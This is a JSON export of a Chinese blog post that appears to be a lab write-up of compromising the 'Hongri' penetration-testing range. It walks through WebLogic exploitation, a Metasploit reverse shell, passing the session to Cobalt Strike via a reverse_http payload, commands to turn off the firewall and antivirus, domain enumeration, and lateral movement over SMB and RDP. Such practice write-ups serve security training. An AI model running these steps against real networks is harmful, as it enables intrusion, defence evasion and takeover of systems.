{"id":333,"date":"2024-12-12T22:39:49","date_gmt":"2024-12-12T14:39:49","guid":{"rendered":"http:\/\/8.141.27.105\/?p=333"},"modified":"2024-12-12T22:39:50","modified_gmt":"2024-12-12T14:39:50","slug":"%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2\/","title":{"rendered":"\u7ea2\u65e5\u9776\u573a2"},"content":{"rendered":"\n

\u642d\u5efa\uff1a\u5982\u679c\u865a\u62df\u673a\u9009\u62e9\u6865\u63a5\u6a21\u5f0f\uff0c\u5219\u4e92\u76f8ping\u4e0d\u901a\uff0c\u4e3b\u673a\u4e5fping\u4e0d\u901a\u865a\u62df\u673a1\uff0c\u4f46\u662f\u5982\u679c\u662fNAT\u6a21\u5f0f\uff0c\u5c31\u53ef\u4ee5\u4e92\u76f8PING\u901a\u3002<\/p>\n\n\n\n

\u6253\u9776\uff1a\u521d\u59cb\u4fe1\u606f\uff1a\u53ea\u77e5\u9053192.168.111.80<\/p>\n\n\n\n

NMAP\u626b\u63cf192.168.111.80\u7aef\u53e3,\u7ecf\u6d4b\u8bd5\u67097001\u53ef\u5229\u7528<\/p>\n\n\n\n

\u6cd51\uff08msf\u653b\u51fb\uff09\uff1akali\u4f7f\u7528weblogic\u626b\u63cf<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u53d1\u73b0\u6f0f\u6d1e\uff0c\u4f46\u662fmsf\u5c1d\u8bd5\u653b\u51fb\u5931\u8d25,\u628a\u9632\u706b\u5899\u548c360\u5173\u4e86\u4e5f\u6ca1\u7528:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5c1d\u8bd5\u5176\u4ed6\u529e\u6cd5<\/p>\n\n\n\n

\u6cd52\uff08\u4e3b\u52a8\u8fde\u63a5\uff09\uff1a<\/p>\n\n\n\n

\u4f7f\u7528weblogictool\u68c0\u6d4b\u5de5\u5177\u548cJAVA\u53cd\u5e8f\u5217\u5316\u68c0\u6d4b\u5de5\u5177\u5199\u5165\u6728\u9a6c\uff0c\u4f46\u662f\u4e0d\u7ba1\u662f\u5185\u5b58\u7801\u8fd8\u662f\u4e00\u53e5\u8bdd\uff0c\u8681\u5251\u548c\u54e5\u65af\u62c9\u90fd\u8fde\u4e0d\u4e0a\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6cd53\uff08\u53cd\u5f39\u8fde\u63a5\uff09\uff08\u6210\u529f\uff09\uff1a<\/p>\n\n\n\n

msf \u751f\u6210\u53cd\u5f39\ud83d\udc0e<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4e0a\u4f20\u540emsf\u5f00\u542f\u76d1\u542c\uff0c\u6d4f\u89c8\u5668\u8bbf\u95ee\u76ee\u6807\u6587\u4ef6\u5730\u5740\uff0c\u7ec8\u4e8e\u6210\u529f\u4e0a\u7ebf\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6a2a\u5411\u6e17\u900f\uff1a<\/p>\n\n\n\n

msf\u4e0a\u7ebfcs\uff1a<\/p>\n\n\n\n

msf->cs

\uff081\uff09background                \/\/ \u6302\u8d77 \u4f1a\u8bdd.
 
\uff082\uff09use exploit\/windows\/local\/payload_inject
 
\uff083\uff09set payload windows\/meterpreter\/reverse_http
 
\uff084\uff09set lhost 192.168.0.101        \/\/\u8bbe\u7f6e CS \u670d\u52a1\u7aef\u7684 IP \u5730\u5740.
 
\uff085\uff09set lport 8080               \/\/\u8bbe\u7f6e CS \u670d\u52a1\u7aef\u7684 \u76d1\u542c\u7684\u7aef\u53e3(\u521a\u521a\u4e0a\u9762\u521b\u5efa\u7684\u7aef\u53e3\u53f7\u4e00\u6837[CS\u7684])
 
\uff086\uff09set DisablePayloadHandler True
 
\uff087\uff09set PrependMigrate True
 
\uff088\uff09sessions -l  \/\/\u67e5\u770b \u4f1a\u8bdd \u662f\u591a\u5c11\u5219\u8bbe\u7f6e\u591a\u5c11
 
\uff089\uff09set session 1 [\u4e00\u822c\u662f 1(\u4e0a\u9762\u67e5\u770b\u7684\u7ed3\u679c)]
 
\uff0810\uff09exploit      \/\/ \u8fdb\u884c \u6d4b\u8bd5

<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4fe1\u606f\u6536\u96c6\uff0b\u5173\u9632\u706b\u5899\u548c\u6740\u8f6f<\/p>\n\n\n\n
netsh advfirewall set allprofiles state off \u5173\u95ed\u9632\u706b\u5899\n\nrun killav \u5173\u95ed\u6740\u8f6f\nnet view CS\u6dfb\u52a0\u57df\u5185\u7528\u6237\nipconfig \/all\nrun post\/windows\/gather\/enum_domain \u67e5\u770b\u57df\u63a7\nrun post\/windows\/gather\/enum_ad_computers\u67e5\u770b\u57df\u5185\u6210\u5458\nnet group \"domain controllers\" \/domain     #\u67e5\u770b\u57df\u63a7\uff1a<\/code><\/pre>\n\n\n\n
\u4e0d\u77e5\u9053\u662f\u4ec0\u4e48\u539f\u56e0\uff0c\u67e5\u770b\u57df\u63a7\u7684\u547d\u4ee4\u6267\u884c\u9519\u8bef\uff0c\u76f4\u63a5\u4e0aweb\u8fd9\u53f0\u673a\u5b50\u4e5f\u9519\u8bef\uff0c\u4f46\u662fPC\u53ef\u4ee5\uff0c\u4e8e\u662f\u8df3\u8fc7\uff0c\u5c31\u5f53\u5df2\u7ecf\u77e5\u9053\u57df\u63a7\u548cPC\u7684\u540d\u3002<\/p>\n\n\n\n
\u5c1d\u8bd5ping \u4e3b\u673a\uff0b\u57df\u540d\u7684\u65b9\u5f0f\u6765\u5f97\u5230\u5185\u7f51\u5404\u4e2a\u673a\u7684IP\u5730\u5740\uff0c\u4f46\u662fping\u4e0d\u901a\uff0c\u89e3\u51b3\u529e\u6cd5\u662f\u5c06WEB\u7684\u5185\u7f51\u7f51\u5361\u4e5f\u5207\u6362\u6210\u4e0e\u5176\u4ed6\u673a\u5b50\u4e00\u6837\u7684VM2\uff0c\u5c31\u80fdping\u4e86<\/p>\n\n\n\n
\u4f46\u662fnet view\u65f6\u5019\u51fa\u73b0\u4e86\u9519\u8bef\uff0cPC\u548cDC\u53ef\u4ee5view\u51fa\u6765\uff0c\u4f46WEB view\u4e0d\u51fa\u6765\uff0c\u4e0a\u7f51\u641c\u540e\u53d1\u73b0\u662f\u56e0\u4e3aComputer Browser\u8fd9\u4e2a\u670d\u52a1\u6ca1\u6709\u5f00\u542f\uff0c\u5728WEB\u4e0a\u624b\u52a8\u5f00\u542f\u8fd9\u4e2a\u670d\u52a1\uff0c\u5148\u628a\u5c5e\u6027\u4ece\u7981\u7528\u8c03\u6210\u624b\u52a8\uff0c\u7136\u540e\u624b\u52a8\u5f00\u542f\uff0c\u5c1d\u8bd5net view\uff0c\u4f46\u662f\u63d0\u793a\u5217\u8868\u662f\u7a7a\u7684\uff0c\u968f\u540e\u53d1\u73b0DC\u5f85\u673a\u4e86\uff0c\u91cd\u65b0\u5f00\u542f\u518dnet view\uff0c\u7ec8\u4e8eview\u51fa\u6765\u4e86\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
CS\u5df2\u7ecf\u53ef\u4ee5NET VIEW\uff0c\u4f46\u662fview\u4e86\u4e4b\u540e\u8fd8\u662f\u6ca1\u6dfb\u52a0\u65b0\u4e3b\u673a\uff0c\u4e4b\u540e\u53d1\u73b0\u4f7f\u7528\u7aef\u53e3\u5b58\u6d3b\u63a2\u6d4b\u53ef\u4ee5\u6dfb\u52a0\u5185\u7f51\u4e3b\u673a\uff1a<\/p>\n\n\n\n
portscan 10.10.10.0\/24 1-1024,3389,5000-6000 arp 1024    \u63a2\u6d4b\u5b58\u6d3b\u4e3b\u673a<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5c31\u662f\u5e38\u89c4\u7684\u8bbe\u7f6eSMB\u76d1\u542c\u7136\u540eJUMP\u5c31\u884c\uff0c\u6700\u7ec8\u6210\u529f\u62ff\u4e0b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6cd52\uff1a\u8fdc\u7a0b\u684c\u9762<\/p>\n\n\n\n
\u7531\u4e8e\u51e0\u4e2a\u4e3b\u673a\u90fd\u5f00\u542f\u4e863398\uff0c\u6240\u4ee5\u6e17\u900f\u6210\u529f\uff0c\u53ea\u4e0d\u8fc7\u5728\u6a2a\u5411\u5230PC\u7684\u65f6\u5019\u53d1\u751f\u4e86\u9876\u53f7\u7684\u60c5\u51b5\uff0c\u8b66\u793a\u6211\u4eec\u7528\u81ea\u5df1\u521b\u7684\u65b0\u8d26\u53f7\u767b\u6bd4\u8f83\u597d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u642d\u5efa\uff1a\u5982\u679c\u865a\u62df\u673a\u9009\u62e9\u6865\u63a5\u6a21\u5f0f\uff0c\u5219\u4e92\u76f8ping\u4e0d\u901a\uff0c\u4e3b\u673a\u4e5fping\u4e0d\u901a\u865a\u62df\u673a1\uff0c\u4f46\u662f\u5982\u679c\u662fNAT\u6a21\u5f0f\uff0c\u5c31\u53ef\u4ee5\u4e92\u76f8 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[10],"class_list":["post-333","post","type-post","status-publish","format-standard","hentry","category-9","tag-10"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=333"}],"version-history":[{"count":2,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/333\/revisions"}],"predecessor-version":[{"id":347,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/333\/revisions\/347"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=333"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}